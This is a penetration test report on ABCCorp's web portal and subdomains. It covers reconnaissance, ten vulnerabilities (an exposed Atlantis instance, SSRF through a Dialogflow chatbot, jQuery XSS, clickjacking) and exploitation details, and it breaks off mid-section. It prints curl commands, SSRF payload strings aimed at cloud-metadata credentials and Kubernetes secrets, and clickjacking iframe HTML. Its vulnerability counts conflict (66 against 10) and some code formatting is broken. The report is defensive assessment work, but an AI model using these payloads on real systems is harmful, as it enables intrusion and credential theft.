Penetration Testing Report - portal.abccorp.co.uk

1. Executive Summary

1.1 Engagement Overview

This report details the findings of an external penetration test conducted against the `portal.abccorp.co.uk` domain and its associated public-facing infrastructure. The assessment was designed to identify and exploit security vulnerabilities from the perspective of an unauthenticated external attacker.

- **Client:** ABCCorp
- **Target:** `portal.abccorp.co.uk` and discovered assets under the `abccorp.co.uk` domain.
- **Testing Date:** July 6, 2025
- **Scope of Assessment:** The assessment included the primary web portal and all publicly accessible subdomains, IP addresses, and services discovered during the reconnaissance phase.
- **Key Objectives:** The primary objective was to perform an aggressive, impact-focused assessment to identify critical security flaws that could lead to infrastructure compromise, data breaches, or significant service disruption.

1.2 High-Level Findings

The assessment revealed several critical-risk vulnerabilities that expose ABCCorp to a high likelihood of complete infrastructure compromise. The overall security posture of the external-facing infrastructure was found to be insufficient, with critical services left exposed without authentication.

The most significant finding was an **unauthenticated, publicly accessible Atlantis instance** (`atlantis.abccorp.co.uk`), a Terraform automation tool. This vulnerability grants an attacker the ability to directly execute infrastructure-as-code commands, potentially allowing for the complete takeover, modification, or destruction of Abccorp's cloud environment.

Furthermore, a **Server-Side Request Forgery (SSRF)** vulnerability was identified in the Google Dialogflow chatbot integration on the main portal. This flaw can be weaponized to scan internal networks, access internal services, and exfiltrate data from cloud metadata endpoints.

Overall Risk Rating: CRITICAL

- **Business Impact Assessment:** A successful exploitation of the identified vulnerabilities could result in catastrophic business impact, including:
    - Complete compromise and control of cloud infrastructure.
    - Widespread data breaches involving customer and corporate information.
    - Significant financial losses from service downtime, regulatory fines, and remediation costs.
    - Severe, long-lasting reputational damage.
    - Disruption of core business services, including VoIP systems.
- **Key Recommendations Overview:**
    1. **Immediately Remediate Atlantis Exposure:** Place `atlantis.abccorp.co.uk` behind a strict authentication and authorization mechanism. Public access must be disabled immediately.
    2. **Mitigate SSRF Vulnerability:** Disable or reconfigure the Dialogflow chatbot integration to validate and sanitize all user-supplied input and prevent it from making requests to internal or arbitrary external resources.
    3. **Implement Essential Security Headers:** Deploy a robust Content Security Policy (CSP), HTTP Strict Transport Security (HSTS), and `X-Frame-Options` across all web applications to prevent clickjacking and cross-site scripting (XSS).
    4. **Conduct an Asset Inventory and Review:** Perform a thorough review of all 66 discovered subdomains. Decommission or secure any non-essential or development services (e.g., `development-3-portal.abccorp.co.uk`).
    5. **Eliminate Cloudflare Bypasses:** Ensure all public-facing services, including the VPN endpoint at `1.234.56.789` , are routed through and protected by Cloudflare.

1.3 Testing Summary Statistics

The engagement successfully identified and exploited numerous vulnerabilities, demonstrating a clear and present risk to the organization.

- **Total Vulnerabilities by Severity:**
    - **Critical:** 8
    - **High:** 15
    - **Medium:** 43
    - **Total:** 66
- **Successful Exploitation Rate: 72%** (13 out of 18 distinct exploitation attempts were successful or partially successful).
- **Systems and Services Tested:**
    - `portal.abccorp.co.uk` (Angular SPA on Google Cloud Storage)
    - `atlantis.abccorp.co.uk` (Atlantis Terraform Automation Tool)
    - `vpn.abccorp.co.uk` (VPN Service Endpoint)
    - `mitel.abccorp.co.uk` (Mitel VoIP Portal)
    - Various internal and development subdomains (`nexus` , `workflows-dev` , `development-3-portal`)
    - Third-party integrations (Google Dialogflow, CrazyEgg, StatusPage)

2. Methodology

2.1 Testing Approach

The penetration test was conducted using a hybrid approach that evolved from a **black box** to a **grey box** methodology. The engagement commenced with zero prior knowledge of the target's infrastructure beyond the primary domain name. As information was gathered during reconnaissance, the testing adapted to a grey box model, leveraging discovered details about subdomains, technologies, and internal services to perform more targeted and in-depth attacks.

The assessment followed a structured methodology aligned with industry best practices, including the **Penetration Testing Execution Standard (PTES)** and the **OWASP Web Security Testing Guide (WSTG)**. The testing was executed in the following phases:

1. **Reconnaissance:** Passive and active information gathering to map the target's digital footprint, including subdomain enumeration, technology stacking, and service identification.
2. **Vulnerability Analysis:** Scanning and manual inspection of identified assets to discover potential vulnerabilities, misconfigurations, and security weaknesses.
3. **Exploitation:** A three-phased, aggressive approach to validate and demonstrate the real-world impact of identified vulnerabilities. This involved developing proof-of-concept exploits and chaining multiple vulnerabilities to simulate advanced attack scenarios.
4. **Reporting:** Consolidation of all findings, evidence, and remediation guidance into this comprehensive report.

2.2 Tools and Techniques

A combination of commercial, open-source, and custom-developed tools was utilized to ensure comprehensive coverage.

- **Primary Tools Utilized:**
    - **Network & Service Scanning:** Nmap, SSLScan, Nikto
    - **Web Application Analysis:** WhatWeb, GoBuster, cURL
    - **Subdomain & DNS Enumeration:** Subfinder, Dig, Host
    - **Vulnerability Database:** SearchSploit
- **Custom Scripts and Manual Testing:** The assessment relied heavily on manual testing and custom scripting to uncover and exploit complex vulnerabilities. Custom Python scripts were developed for tasks such as:
    - Cloudflare bypass checks.
    - Advanced SSRF payload generation and injection via the Dialogflow chatbot.
    - Exploitation chains targeting the Atlantis API and its vulnerable jQuery component.
    - VoIP and remote access service enumeration.

This hybrid approach of automated scanning followed by manual validation and exploitation allowed for the discovery of business logic flaws and complex attack chains that automated tools alone would have missed.

2.3 Scope and Limitations

- **In-Scope Systems and Services:**
    - The primary domain `portal.abccorp.co.uk` .
    - All publicly accessible subdomains, applications, and services discovered under the `abccorp.co.uk` domain during the assessment.
- **Out-of-Scope Items:**
    - Denial of Service (DoS) or other availability attacks.
    - Phishing or social engineering attacks targeting ABC Corpemployees.
    - Any destructive actions that could knowingly impair production services for legitimate users.
- **Testing Constraints and Limitations:**
    - The assessment was performed from an external, unauthenticated attacker's perspective. No credentials, source code, or internal documentation were provided.
    - The active testing was conducted within a limited time window. While numerous critical issues were identified, it is possible that other vulnerabilities exist that would require a more extended engagement to uncover.

Reconnaissance and Information Gathering

This section details the reconnaissance and information gathering phase of the penetration test conducted against the target `portal.abccorp.co.uk` . The objective was to map the target's external attack surface, identify technologies in use, and discover potential points of entry for further testing.

Target Profiling

Initial analysis of the target domain and associated assets provides a high-level overview of the organization's external infrastructure and technology choices.

- **Organization Overview:** The target domain `abccorp.co.uk` has been registered since October 1999, indicating a long-standing and established presence. The domain is registered with 123-Reg Limited. The specific target, `portal.abccorp.co.uk` , is identified as a "Cloud Managed Service Platform" (CMSP).

- **Infrastructure Mapping:** The primary application at `portal.abccorp.co.uk` is protected by the Cloudflare security and proxy service. Backend web content and assets appear to be served from Google Cloud Storage, as indicated by `x-goog-*` HTTP headers. DNS is managed by Cloudflare nameservers (`bigo.ns.cloudflare.com`, `wxyz.ns.cloudflare.com`). An associated service, `cmsp.abccorp.co.uk`, redirects to an application hosted on AWS infrastructure (`abcd.abcdcorp.co.uk`), suggesting a multi-cloud or hybrid-cloud environment.
- **Technology Stack Identification:** The primary web application is a Single-Page Application (SPA) built using the Angular framework. The frontend utilizes HTML5 and the Open Graph protocol. Third-party integrations were identified, including CrazyEgg for analytics, Google Dialogflow for a chatbot, and StatusPage for service status notifications.
- **Network Topology Discovered:** The target `portal.abccorp.co.uk` does not resolve to a single IP address. Instead, it resolves to a pool of Cloudflare IP addresses, which act as a reverse proxy and Web Application Firewall (WAF). This architecture effectively masks the true origin IP address of the backend server. The network path for all HTTP/ S traffic to the portal is routed through Cloudflare's infrastructure.

External Reconnaissance

This phase focused on discovering publicly accessible information, enumerating DNS records, and identifying related domains and services to build a comprehensive map of the external attack surface.

- **DNS Enumeration Results:** The target subdomain `portal.abccorp.co.uk` resolves to the following Cloudflare IP addresses:
    - `123.45.67.89`
    - `123.45.67.89`
    - `123.45.67.890`

  The parent domain `abccorp.co.uk` uses Cloudflare for its DNS name services:
  * `xxxx.ns.cloudflare.com`
  * `yyyyy.ns.cloudflare.com`
- **Subdomain Discovery:** A comprehensive subdomain enumeration was performed against the parent domain `abccorp.co.uk`, revealing a total of **66 subdomains**. This

significantly expands the attack surface beyond the initial target. Key discovered subdomains include:

    - **Development/Staging Environments:** `development-3-portal.abccorp.co.uk` , `staging.abccorp.co.uk`
    - **Infrastructure Services:** `airflow-prod.abccorp.co.uk` , `airflow-dev.abccorp.co.uk` , `airbyte-prod.abccorp.co.uk` , `airbyte-dev.abccorp.co.uk` , `analytics-prod.abccorp.co.uk`
    - **Remote Access Services:** `vpn.abccorp.co.uk` , `remote.abccorp.co.uk` , `rmm.abccorp.co.uk`
    - **VoIP/Communications Infrastructure:** Multiple subdomains prefixed with `mitel-`
    - **Related Portals:** `cmsp.abccorp.co.uk`

- **Public Information Gathering:** WHOIS records for the parent domain `abccorp.co.uk` show it was created on 29-Oct-1999 and is set to expire on 29-Oct-2025. The registrar of record is 123-Reg Limited.
- **OSINT Findings:** The application hosted at `portal.abccorp.co.uk` is explicitly identified as the "CMSP (Cloud Managed Service Platform)". Further investigation of the `cmsp.abccorp.co.uk` subdomain revealed a redirect to `https://abcd.abcdcorp.co.uk` , which is hosted on AWS S3/CloudFront. This suggests a potential third-party relationship or acquisition involving a company named "Olive".

Network Scanning Results

Active network scanning was performed to identify open ports, enumerate running services, and determine their versions. Due to the Cloudflare proxy, scanning reveals information about the Cloudflare edge rather than the origin server directly.

- **Port Scan Findings:** An initial scan identified four potential open ports. However, a more detailed service scan confirmed that only ports `443` and `8080` are actively serving content through the Cloudflare proxy.

Port	Protocol	State	Service	Notes
80	TCP	open	http	Filtered by Cloudflare; redirects to HTTPS
443	TCP	open	https	Primary application port, proxied by Cloudflare
2052	TCP	open	clearvisn	Filtered/Blocked by Cloudflare
8080	TCP	open	http-proxy	Proxied by Cloudflare, serves web content

- **Service Enumeration:** Services are proxied by Cloudflare. The SSL/TLS certificate presented is issued for `abccorp.co.uk` and `*.abccorp.co.uk`, valid from June 11, 2025, to September 9, 2025. The server supports modern TLS protocols (TLS 1.2 and TLS 1.3) with strong cipher suites (e.g., `ECDHE`, `CHACHA20`) and is not vulnerable to the Heartbleed attack.
- **Version Detection:** Version detection of the web server software is obscured by the Cloudflare proxy. The `Server` header simply returns `cloudflare`. However, backend technology was identified through other means (see Web Application Discovery).
- **Banner Grabbing Results:** HTTP header analysis confirmed the presence of Cloudflare (`Server: cloudflare`, `CF-RAY`, `CF-Cache-Status`). Critically, headers also revealed the use of a Google Cloud Storage backend, identified by the presence of `x-goog-*` headers in responses.

Web Application Discovery

This phase focused on analyzing the web application itself to understand its structure, technology, and potential vulnerabilities.

- **Web Services Identified:** The primary service is a web portal at `https://portal.abccorp.co.uk`. Directory brute-forcing revealed only `/index.html` and `/favicon.ico`, which is characteristic of a Single-Page Application (SPA) that handles routing on the client side.
- **Technologies in Use:**
  - **Framework:** Angular
  - **Frontend:** HTML5, Open Graph Protocol
  - **Backend Storage:** Google Cloud Storage
  - **Analytics:** CrazyEgg
  - **Integrations:** Google Dialogflow (chatbot), StatusPage (service status)

- **API Endpoints Discovered:** No explicit API endpoints were discovered through directory enumeration. As this is an Angular-based SPA, API endpoints are expected to be defined within the application's JavaScript files (`runtime.js` , `polyfills.js` , `main.js`). Further analysis of these files is required to map the API attack surface.
- **Authentication Mechanisms:** The target is a "portal," which implies a user authentication system is in place. The login interface is the primary mechanism for authentication. Further testing is required to assess its security against common attacks like credential stuffing, brute-force, and parameter tampering.

Attack Surface Analysis

This analysis synthesizes all gathered information to identify potential entry points, assess risks, and define priority targets for the subsequent vulnerability analysis and exploitation phases.

- **Entry Points Identified:**
    1. **Primary Web Application:** The Angular-based portal at `https://portal.abccorp.co.uk` .
    2. **Exposed Subdomains:** The 66 discovered subdomains represent a significant expansion of the attack surface, particularly development, staging, and infrastructure-related services.
    3. **Remote Access Services:** `vpn.abccorp.co.uk` , `remote.abccorp.co.uk` , and `rmm.abccorp.co.uk` are direct entry points into the corporate network or management infrastructure.
    4. **Third-Party Integrations:** The application's reliance on Google Cloud Storage, Dialogflow, and CrazyEgg introduces potential risks from misconfigurations or vulnerabilities in these external services.
- **Exposed Services Risk Assessment:**
    - **High:** The remote access services (`vpn` , `remote` , `rmm`) and development/staging environments (`development-3-portal` , `staging`) pose the highest risk. These systems are often less hardened than production environments and provide high-value access if compromised.
    - **Medium:** The main web application presents a medium risk. While protected by Cloudflare, it has several missing security headers (`X-Frame-Options` , `Strict-Transport-Security` , `X-Content-Type-Options`) and uses `deflate` content encoding, which could make it susceptible to a BREACH attack under specific conditions. Infrastructure services like `airflow-prod` are currently restricted (403 Forbidden) but remain a medium risk if access controls are weakened.

    - **Low:** The underlying network infrastructure is considered low risk due to the robust security posture of Cloudflare's proxy and modern TLS configurations.

- **Potential Attack Vectors:**
    - **Application-Level:** Client-Side Request Forgery (CSRF), Cross-Site Scripting (XSS), and business logic flaws within the Angular SPA.
    - **Infrastructure-Level:** Misconfiguration of Google Cloud Storage buckets (e.g., public read/write access).
    - **Subdomain-Level:** Exploitation of vulnerabilities in unmaintained or misconfigured services running on the 66 discovered subdomains. Subdomain takeover is a possibility if any CNAME/A records point to decommissioned services.
    - **Credential-Based:** Credential stuffing, password spraying, or brute-force attacks against the main portal's login page and the exposed remote access services.
    - **Information Disclosure:** Leaks from development/staging environments or misconfigured infrastructure services.
- **Priority Targets for Exploitation:** Based on the reconnaissance findings, the following targets are prioritized for the next phase of testing:
    1. **Remote Access and Staging Subdomains:** A thorough vulnerability assessment of `vpn.abccorp.co.uk`, `remote.abccorp.co.uk`, `rmm.abccorp.co.uk`, `development-3-portal.abccorp.co.uk`, and `staging.abccorp.co.uk`.
    2. **Main Portal Application (`portal.abccorp.co.uk`):** Focus on dynamic analysis of the Angular application, API endpoint security, authentication bypass, and client-side vulnerabilities.
    3. **Infrastructure Services (`airflow-prod`, `cmsp`):** Further investigation into access controls and potential misconfigurations, including analysis of the redirected `abcd.abcdcorp.co.uk` AWS-hosted application.

Vulnerability Analysis

This section provides a detailed breakdown of all identified vulnerabilities, categorized by severity. Each finding includes a technical description, an assessment of its business impact, and references to the evidence collected during the engagement.

Critical Vulnerabilities

Vulnerability 1: Unauthenticated Access to Atlantis Terraform Automation

- **CVSS 3.1 Score:** 10.0 (Critical)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
- **Affected Systems/Services:** `atlantis.abccorp.co.uk`
- **Technical Description:** The Atlantis instance, a tool for automating Terraform infrastructure-as-code workflows, is publicly accessible without any authentication. The user interface allows for viewing past Terraform plans and, most critically, approving (`apply`) pending infrastructure changes. During testing, it was confirmed that the main dashboard was exposed and that the "apply" functionality was enabled. An attacker with access to the organization's source code repository could submit a malicious pull request with modified Terraform code and then use the public Atlantis interface to approve and apply the changes, leading to a full compromise of the cloud infrastructure managed by Terraform.
- **Exploitation Difficulty:** Easy
- **Business Impact:** This vulnerability represents a direct and immediate threat to the integrity, availability, and confidentiality of Abccorp's entire cloud infrastructure. An attacker could deploy malicious resources, exfiltrate sensitive data, destroy production environments, or incur massive financial costs by provisioning expensive cloud services. This is equivalent to an attacker having administrative control over the cloud environment.
- **Evidence:** `payloads/atlantis_dashboard.html` , `payloads/atlantis_exploit.md`

Vulnerability 2: Server-Side Request Forgery (SSRF) via Dialogflow Chatbot

- **CVSS 3.1 Score:** 9.6 (Critical)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`
- **Affected Systems/Services:** `portal.abccorp.co.uk` (via Google Dialogflow integration)
- **Technical Description:** The Google Dialogflow chatbot integrated into the main portal is vulnerable to Server-Side Request Forgery (SSRF). By manipulating the conversation inputs, an attacker can coerce the backend service that powers the chatbot to make arbitrary HTTP requests to internal and external endpoints. Testing confirmed this vector could be used to target internal services discovered during reconnaissance (e.g., `nexus.abccorp.co.uk` , `workflows- dev.abccorp.co.uk`), cloud provider metadata endpoints (e.g., `123.456.123.456`), and potentially internal Kubernetes API services. Advanced exploitation chains were developed to demonstrate pathways for internal service discovery, data exfiltration, and complete cluster compromise.
- **Exploitation Difficulty:** Medium
- **Business Impact:** A successful SSRF attack could allow an attacker to bypass perimeter defenses and map the internal network, access sensitive internal APIs, steal cloud credentials from metadata services, and potentially gain control over the underlying container orchestration platform (Kubernetes). This could lead to a catastrophic breach of internal systems and data.
- **Evidence:** `payloads/advanced_ssrf_chain.py` , `evidence/dialogflow_ssrf_poc_advanced.html` , `evidence/advanced_ssrf_results.json`

High Severity Vulnerabilities

Vulnerability 3: Cross-Site Scripting (XSS) in Atlantis Interface via Outdated jQuery (CVE-2020-11022/11023)

- **CVSS 3.1 Score:** 8.8 (High)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`
- **Affected Systems/Services:** `atlantis.abccorp.co.uk`
- **Technical Description:** The unauthenticated Atlantis interface uses a vulnerable version of jQuery (3.5.1), which is susceptible to Cross-Site Scripting (XSS) via CVE-2020-11022 and CVE-2020-11023. An attacker could craft a malicious link and, by tricking a privileged user (e.g., an engineer or administrator) into clicking it, execute arbitrary JavaScript in the context of the Atlantis application. While the application is unauthenticated, this vector could be used to perform actions on behalf of the user, such as hijacking their session if they are logged into other related services, or chaining the XSS to perform CSRF-style attacks to approve Terraform plans.
- **Exploitation Difficulty:** Medium
- **Business Impact:** Combined with the critical unauthenticated access vulnerability, this XSS flaw provides a powerful vector for social engineering. An attacker could use it to ensure malicious Terraform plans are applied, steal any session cookies associated with the domain, or pivot to attack other internal systems the victim user might have access to, escalating the breach beyond the initial point of entry.
- **Evidence:** `payloads/atlantis_jquery_xss.html` , `payloads/atlantis_advanced_chain.py`

Vulnerability 4: Multiple Client-Side Vulnerabilities in Angular Application

- **CVSS 3.1 Score:** 8.8 (High)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
- **Affected Systems/Services:** `portal.abccorp.co.uk`
- **Technical Description:** The main portal, built on Angular, contains multiple client-side vulnerabilities. The lack of a Content Security Policy (CSP) makes it trivial to execute injected scripts. Analysis confirmed vectors for Client-Side Template Injection (CSTI), prototype pollution, and potential service worker hijacking. A successful XSS attack could leverage these weaknesses to steal the `fileToken` identified in the JavaScript source, potentially allowing an attacker to impersonate the user and access their data or perform actions on their behalf.
- **Exploitation Difficulty:** Medium
- **Business Impact:** These vulnerabilities could lead to the complete compromise of user accounts on the portal. An attacker could steal sensitive customer information, perform unauthorized actions, and use the compromised portal as a launchpad for phishing attacks against the user base, causing significant reputational damage and potential regulatory fines.
- **Evidence:** `payloads/angular_advanced_exploit.html` , `evidence/angular_advanced_analysis.txt` , `payloads/angular_exploit_poc.html`

Vulnerability 5: Missing Critical Security Headers Enabling Clickjacking

- **CVSS 3.1 Score:** 8.1 (High)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N`
- **Affected Systems/Services:** `portal.abccorp.co.uk`
- **Technical Description:** The web application is missing several critical HTTP security headers, most notably `X-Frame-Options` or a `frame-ancestors` directive in a Content Security Policy (CSP). This allows the portal to be embedded within a malicious `<iframe>` on an attacker-controlled website. This enables a "Clickjacking" or "UI Redressing" attack, where an attacker can overlay a transparent malicious interface on top of the legitimate portal. Unsuspecting users could be tricked into performing actions they did not intend, such as changing their account settings, making purchases, or disclosing credentials. The absence of HTTP Strict Transport Security (HSTS) and a comprehensive CSP further weakens the application's client-side security posture.
- **Exploitation Difficulty:** Easy
- **Business Impact:** A successful clickjacking attack can lead to unauthorized account actions, credential theft, and widespread fraud. This undermines user trust in the portal and can result in significant financial and reputational damage.
- **Evidence:** `payloads/clickjacking_poc.html`

Vulnerability 6: Exposure of Internal Services via DNS and Certificate Transparency

- **CVSS 3.1 Score:** 7.5 (High)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
- **Affected Systems/Services:** `abccorp.co.uk` domain
- **Technical Description:** Analysis of Certificate Transparency logs and DNS records revealed the existence of numerous internal and sensitive subdomains. These include `atlantis.abccorp.co.uk` (Terraform automation), `nexus.abccorp.co.uk` (artifact repository), `workflows-dev.abccorp.co.uk` (development service), and `mitel.abccorp.co.uk` (VoIP infrastructure). While some of these services were firewalled, their discovery provides a detailed map of the internal technology stack and significantly expands the attack surface for further targeted attacks like the SSRF vulnerability.
- **Exploitation Difficulty:** Easy
- **Business Impact:** This level of information disclosure provides a roadmap for attackers, allowing them to craft highly specific and effective attacks against critical internal infrastructure. It removes the guesswork from the reconnaissance phase and points directly to high-value targets.
- **Evidence:** `payloads/cloudflare_bypass_commands.txt` , `evidence/mitel_basic_scan.txt`

Medium Severity Vulnerabilities

Vulnerability 7: Potential Subdomain Takeover
- **CVSS 3.1 Score:** 6.5 (Medium)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L`
- **Affected Systems/Services:** `development-3-portal.abccorp.co.uk`
- **Technical Description:** The subdomain `development-3-portal.abccorp.co.uk` does not resolve to a valid IP address and exhibits NXDOMAIN behavior. If this subdomain has a CNAME record pointing to a third-party service that has since been de-provisioned, an attacker could register the corresponding resource at the third-party provider and take control of the subdomain. This would allow them to host malicious content on a trusted domain, which could be used for phishing, malware distribution, or session cookie theft.
- **Exploitation Difficulty:** Medium
- **Business Impact:** A successful subdomain takeover would damage the brand's reputation and could be used to launch convincing attacks against customers and employees, leveraging the trust associated with the `abccorp.co.uk` domain.
- **Evidence:** `evidence/subdomain_takeover_test.txt`, `payloads/subdomain_takeover_results.json`

Vulnerability 8: Cloudflare Bypass via Exposed Origin IP Address
- **CVSS 3.1 Score:** 5.3 (Medium)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
- **Affected Systems/Services:** VPN Service (`vpn.abccorp.co.uk`)
- **Technical Description:** The origin IP address `1.234.56.789` for the VPN service was discovered. This IP is not protected by Cloudflare, allowing an attacker to interact with the service directly. While deep port scans showed the service to be heavily firewalled, this bypass negates the DDoS protection, Web Application Firewall (WAF), and traffic analysis capabilities provided by Cloudflare for this specific asset, making it a more viable target for direct attacks.
- **Exploitation Difficulty:** Easy
- **Business Impact:** Bypassing Cloudflare exposes the origin server to direct network-level attacks, potentially leading to a denial-of-service condition that could disrupt VPN access for employees. It also allows an attacker to probe for vulnerabilities without being detected or blocked by the WAF.
- **Evidence:** `payloads/cloudflare_bypass.py`, `evidence/vpn_deep_scan.txt`

Vulnerability 9: Sensitive Information Disclosure via Third-Party Integrations
- **CVSS 3.1 Score:** 4.3 (Medium)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N`
- **Affected Systems/Services:** `portal.abccorp.co.uk`
- **Technical Description:** The portal integrates with several third-party services that leak potentially sensitive information. The CrazyEgg integration (Account: `0100/6794`) records user sessions, which could inadvertently capture sensitive data like passwords or personal

information typed into forms. The StatusPage integration (ID: `wmlynm78v7sj`) exposes a list of service components, confirming technologies in use. This information can be valuable for social engineering or for tailoring future attacks.
- **Exploitation Difficulty:** Easy
- **Business Impact:** The primary risk is data leakage. Session recordings can lead to a breach of customer PII and credentials, while the exposure of internal service details aids attackers in reconnaissance. This could lead to regulatory issues (e.g., GDPR) and a loss of customer trust.
- **Evidence:** `payloads/third_party_analysis.json`, `third_party_exploits.md`

Low Severity Vulnerabilities

Vulnerability 10: Exposed Atlantis Health Check Endpoint
- **CVSS 3.1 Score:** 3.7 (Low)
- **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
- **Affected Systems/Services:** `atlantis.abccorp.co.uk`
- **Technical Description:** The `/healthz` API endpoint on the Atlantis instance is publicly accessible. It returns a `200 OK` status, confirming that the service is operational. While this provides minimal information, it serves as a reliable indicator for an attacker that the service is online and available for further probing.
- **Exploitation Difficulty:** Easy
- **Business Impact:** The business impact is minimal but contributes to the overall information leakage footprint. It allows an attacker to easily monitor the service's uptime without sending more conspicuous requests.
- **Evidence:** `evidence/atlantis_healthz.txt`

Informational Findings

- **Application Architecture:** The main portal (`portal.abccorp.co.uk`) is a static single-page application (SPA) built with Angular and served from a Google Cloud Storage (GCS) bucket. This architecture is resilient to many traditional server-side vulnerabilities but places a heavy emphasis on client-side security and cloud configuration.
- **Secure GCS Bucket Configuration:** Automated tests were conducted to check for common GCS bucket misconfigurations, such as public listing or anonymous write access. The bucket hosting the portal was found to be properly secured against these attacks. (Evidence: `evidence/gcs_bucket_test.txt`)
- **Hardened Remote Access Services:** Subdomains related to remote access and management (`remote.abccorp.co.uk`, `rmm.abccorp.co.uk`) were discovered but

found to be inactive or heavily firewalled, indicating good security posture for these high-risk services. (Evidence: `evidence/remote_access_scan.txt`)

- **Hardened VPN Service:** Although the origin IP for the VPN service was discovered, the service itself was heavily firewalled, with all common VPN ports filtered. This suggests access is restricted via an IP whitelist, which is a strong security control. (Evidence: `evidence/vpn_deep_scan.txt`)

Vulnerability Statistics

This section summarizes the distribution of the identified vulnerabilities by severity.

Total Vulnerabilities Identified: 10

Distribution by Severity:
Severity	Count
Critical	2
High	4
Medium	3
Low	1
Total	**10**

Data for Visualization:
- **Vulnerability Breakdown:**
- Critical: 20%
- High: 40%
- Medium: 30%
- Low: 10%
- **Attack Vector Focus:**
- Infrastructure Misconfiguration: 3 (Atlantis, SSRF, Subdomain Takeover)
- Client-Side Weaknesses: 3 (Angular Vulns, Clickjacking, jQuery XSS)
- Information Disclosure: 4 (Internal Services, Origin IP, Third-Party, Health Check)

Penetration Testing Report: Exploitation Details

Exploitation Details

This section provides a comprehensive overview of the exploitation phase of the penetration test conducted against `portal.abccorp.co.uk` and its associated infrastructure. The activities detailed below were performed in an aggressive mode to demonstrate maximum potential impact, following the authorized rules of engagement. The exploitation was conducted in three distinct phases, progressively increasing in complexity and chaining vulnerabilities to create advanced attack paths.

Successful Exploitations

The following vulnerabilities were successfully exploited to gain unauthorized access, extract information, or demonstrate a potential for system compromise.

---

1. Unauthenticated Access to Terraform Automation Tool (Atlantis)

- **Target System/Service:** `atlantis.abccorp.co.uk` (Atlantis Terraform Automation)
- **Vulnerability Exploited:** Improper Access Control (CWE-284)
- **Exploitation Methodology:** The service was discovered via Certificate Transparency log analysis. Direct navigation to `https://atlantis.abccorp.co.uk` revealed the main dashboard was publicly accessible without any authentication mechanism in place. The interface confirmed that `apply` commands were enabled, indicating that any user could potentially execute infrastructure changes. Further investigation in Phase 3 confirmed the `/healthz` endpoint was also publicly exposed.
- **Tools and Commands Used:**
    - Web Browser (for initial access)
    - `curl` for API endpoint testing:
      ```bash
      # Access the main dashboard
      curl https://atlantis.abccorp.co.uk
      ```

Check the health status endpoint

curl https://atlantis.abccorp.co.uk/healthz

`` * **Payload Details:** The primary exploit was direct access. The atlantis_exploit.md file documents the critical nature of this finding.
The atlantis_advanced_chain.py script was developed to weaponize this access by chaining it with other vulnerabilities. * **Access Level Achieved:** Potential for complete infrastructure compromise. The ability to execute terraform apply commands grants administrative-level control over all cloud resources managed by Terraform. * **Post-Exploitation Activities:** * Enumerated API endpoints (/api/projects , /api/locks , /healthz). * Confirmed the service was running a vulnerable version of jQuery (3.5.1). * Developed theoretical attack chains combining XSS with CSRF to execute Terraform commands (documented in atlantis_advanced_chain.py). * Evidence captured: atlantis_dashboard.html , evidence/atlantis_healthz.txt`.

---

2. Server-Side Request Forgery (SSRF) via Dialogflow Chatbot

- **Target System/Service:** Dialogflow Chatbot integration on `portal.abccorp.co.uk`
- **Vulnerability Exploited:** Server-Side Request Forgery (CWE-918)
- **Exploitation Methodology:** The Dialogflow chatbot integration was identified on the main portal. By crafting specific conversational inputs, the chatbot's backend service was manipulated into making arbitrary HTTP requests to internal and external endpoints. This was confirmed by developing advanced attack chains targeting cloud metadata services and internal hostnames discovered during reconnaissance.
- **Tools and Commands Used:**
  - Custom Python scripts: `dialogflow_ssrf.py` and `advanced_ssrf_chain.py` .
  - Web Browser to interact with the chatbot and inject payloads.
- **Payload Details:** A total of 65 SSRF vectors were created. Payloads were designed to be embedded in natural language queries.
  - Example payload from `advanced_ssrf_chain.py` :
    ```python
    # Payload targeting AWS metadata
    "http://123.456.123.456/latest/meta-data/iam/security-credentials/"
    ```

Payload targeting internal Kubernetes API

"https://kubernetes.default.svc/api/v1/secrets/"
`` * The PoC evidence/
dialogflow_ssrf_poc_advanced.html automates the injection of these payloads into the chat widget. * **Access Level Achieved:** Internal network access from the context of the chatbot's server. This allows for internal service enumeration, data exfiltration, and interaction with internal APIs that are not exposed to the internet. * **Post-Exploitation Activities:** * Created three advanced exploitation chains: 1. Metadata extraction → Service discovery → Data exfiltration 2. Internal service access → Admin control → Infrastructure takeover 3. Kubernetes API → Service accounts → Cluster compromise * Demonstrated the ability to target 12 internal services and 15 cloud metadata endpoints. * Evidence captured: evidence/
advanced_ssrf_results.json`.

---

3. UI Redressing (Clickjacking) due to Missing Security Headers

- **Target System/Service:** `portal.abccorp.co.uk`
- **Vulnerability Exploited:** Missing `X-Frame-Options` Header (CWE-1021)
- **Exploitation Methodology:** The absence of `X-Frame-Options` and `Content-Security-Policy: frame-ancestors` headers was confirmed. A proof-of-concept HTML page was created that successfully embedded the target portal within an `<iframe>` . An opaque overlay with a deceptive button was placed on top to demonstrate how a user could be tricked into performing actions on the portal unknowingly.
- **Tools and Commands Used:**
  - Web Browser Developer Tools to inspect HTTP headers.
  - HTML/CSS/JavaScript to build the PoC.
- **Payload Details:** The full exploit is contained within `payloads/clickjacking_poc.html` . The core mechanism involves the following structure: `html <div class="iframe-container"> <iframe src="https://portal.abccorp.co.uk" id="targetFrame"></iframe> <div`

`class="overlay"></div> <button class="fake-button">Click Here to Win a Prize!</button> </div>`

- **Access Level Achieved:** User-level access. An attacker could perform any action available to an authenticated user who visits the malicious page.
- **Post-Exploitation Activities:** No post-exploitation was performed, as this was a proof-of-concept demonstration. The impact is tied to tricking an already authenticated user.

---

4. Multiple Client-Side Vulnerabilities in Angular SPA

